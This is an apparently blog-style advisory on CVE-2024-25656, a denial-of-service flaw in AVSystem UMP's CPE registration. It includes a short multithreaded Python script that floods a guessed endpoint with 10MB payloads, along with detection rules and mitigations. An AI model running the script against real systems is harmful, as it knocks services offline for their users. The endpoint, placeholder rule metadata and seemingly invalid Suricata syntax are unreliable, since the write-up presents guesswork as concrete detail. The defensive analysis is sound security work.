CVE-2024-25656

Executive Summary

CVE-2024-25656 is a critical vulnerability in AVSystem Unified Management Platform (UMP) version 23.07.0.16567~LTS. The flaw resides in improper input validation during the Customer Premises Equipment (CPE) registration process. An unauthenticated attacker can exploit this by sending arbitrarily large amounts of data during registration, leading to a Denial of Service (DDoS) condition against the application database. This can ultimately affect the entire product's availability and stability. No public proof-of-concept or patch is currently available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the description, a reasonable estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - Unauthenticated.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - Affects only the vulnerable component.
• Confidentiality (C): None (N) - No data breach.
• Integrity (I): None (N) - No data modification.
• Availability (A): High (H) - Complete loss of availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High. The vulnerability is remotely exploitable without authentication and can cause a complete denial of service.

Deep Dive & Mechanics

The vulnerability is rooted in the CPE registration endpoint of the AVSystem UMP. During the registration process, the platform accepts data from CPE devices. The input validation is insufficient, allowing an attacker to send an arbitrarily large payload. This payload is then stored in the application database without size limits or validation.

Attack Flow:

1. An attacker identifies the CPE registration endpoint (e.g., /cpe/register or similar).
2. The attacker crafts a request with an excessively large payload (e.g., megabytes of data).
3. The UMP processes the request and stores the large payload in the database.
4. By sending multiple such requests, the attacker can rapidly fill the database storage.
5. Once the database storage is exhausted, the application becomes unresponsive, causing a denial of service for legitimate users and CPE devices.

Root Cause: Lack of input size validation and rate limiting on the CPE registration endpoint.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code is likely in the CPE registration handler.

Vulnerable Code (Conceptual):

# Vulnerable: No size check on input data
def register_cpe(request):
    data = request.body  # Accepts any size
    db.store(data)       # Stores without validation
    return "OK"

Patched Code (Conceptual):

# Patched: Input size validation and rate limiting
MAX_CPE_DATA_SIZE = 1024 * 10  # 10KB limit

def register_cpe(request):
    data = request.body
    if len(data) > MAX_CPE_DATA_SIZE:
        return "Payload too large", 413
    # Additional validation
    if not validate_cpe_data(data):
        return "Invalid data", 400
    db.store(data)
    return "OK"

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy AVSystem UMP 23.07.0.16567~LTS in a controlled environment.
2. Identify the CPE registration endpoint (e.g., using Burp Suite or manual inspection).
3. Use a tool like curl or a custom Python script to send large payloads.

Exploitation Script (Python):

import requests
import threading

target_url = "http://target-ump/cpe/register"
payload = "A" * 10_000_000  # 10MB payload

def send_request():
    try:
        response = requests.post(target_url, data=payload, timeout=10)
        print(f"Sent payload, response: {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

# Launch multiple threads to amplify the attack
threads = []
for i in range(100):
    t = threading.Thread(target=send_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Expected Outcome: The database storage fills up, causing the application to become unresponsive.

Blue Team (Defensive)

Detection:

• Monitor for unusually large POST requests to CPE registration endpoints.
• Set up alerts for database storage usage spikes.
• Use Web Application Firewall (WAF) rules to block requests with payloads exceeding a certain size.

Mitigation:

• Implement input size validation on the CPE registration endpoint.
• Apply rate limiting to prevent rapid registration attempts.
• Monitor database storage and set up automatic scaling or alerts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusually large HTTP POST requests (e.g., >1MB) to /cpe/register or similar endpoints.
  • High volume of registration requests from a single IP address.
• System IOCs:
  • Rapid increase in database storage usage.
  • Application logs showing repeated registration attempts with large payloads.
  • Application unresponsiveness or timeouts.

Detection Engineering

YARA Rule

rule CVE_2024_25656_AVSystem_UMP_DDoS {
    meta:
        description = "Detects large payloads targeting AVSystem UMP CPE registration"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25656"
    strings:
        $http_post = "POST /cpe/register" ascii wide nocase
        $large_payload = /Content-Length:\s*[0-9]{7,}/ ascii wide
    condition:
        $http_post and $large_payload
}

Sigma Rule

title: CVE-2024-25656 - Large Payload to AVSystem UMP CPE Registration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects large HTTP POST requests to AVSystem UMP CPE registration endpoint
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cpe/register'
        sc-bytes: '>=1000000'  # 1MB
    condition: selection
falsepositives:
    - Legitimate large CPE firmware updates (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25656 - Large Payload to AVSystem UMP CPE Registration"; flow:to_server; http.method; content:"POST"; http.uri; content:"/cpe/register"; http.content_len; >=1000000; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the UMP: If possible, isolate the affected system from the network until a patch is available.
2. Implement WAF Rules: Deploy Web Application Firewall rules to block requests with payloads exceeding a reasonable size (e.g., 1MB) to the CPE registration endpoint.
3. Rate Limiting: Apply rate limiting on the CPE registration endpoint to prevent rapid requests from a single source.
4. Monitor Database Storage: Set up monitoring and alerts for database storage usage to detect potential attacks early.

Long-Term Fix:

• Apply Patch: Await an official patch from AVSystem. Once released, apply it immediately.
• Code Review: Conduct a thorough code review of all input validation logic, especially for endpoints that accept data from unauthenticated sources.
• Input Validation: Implement strict input size validation and sanitization for all user-supplied data.

Workarounds:

• If the CPE registration endpoint is not required for all devices, consider disabling it or restricting access to trusted IP addresses only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert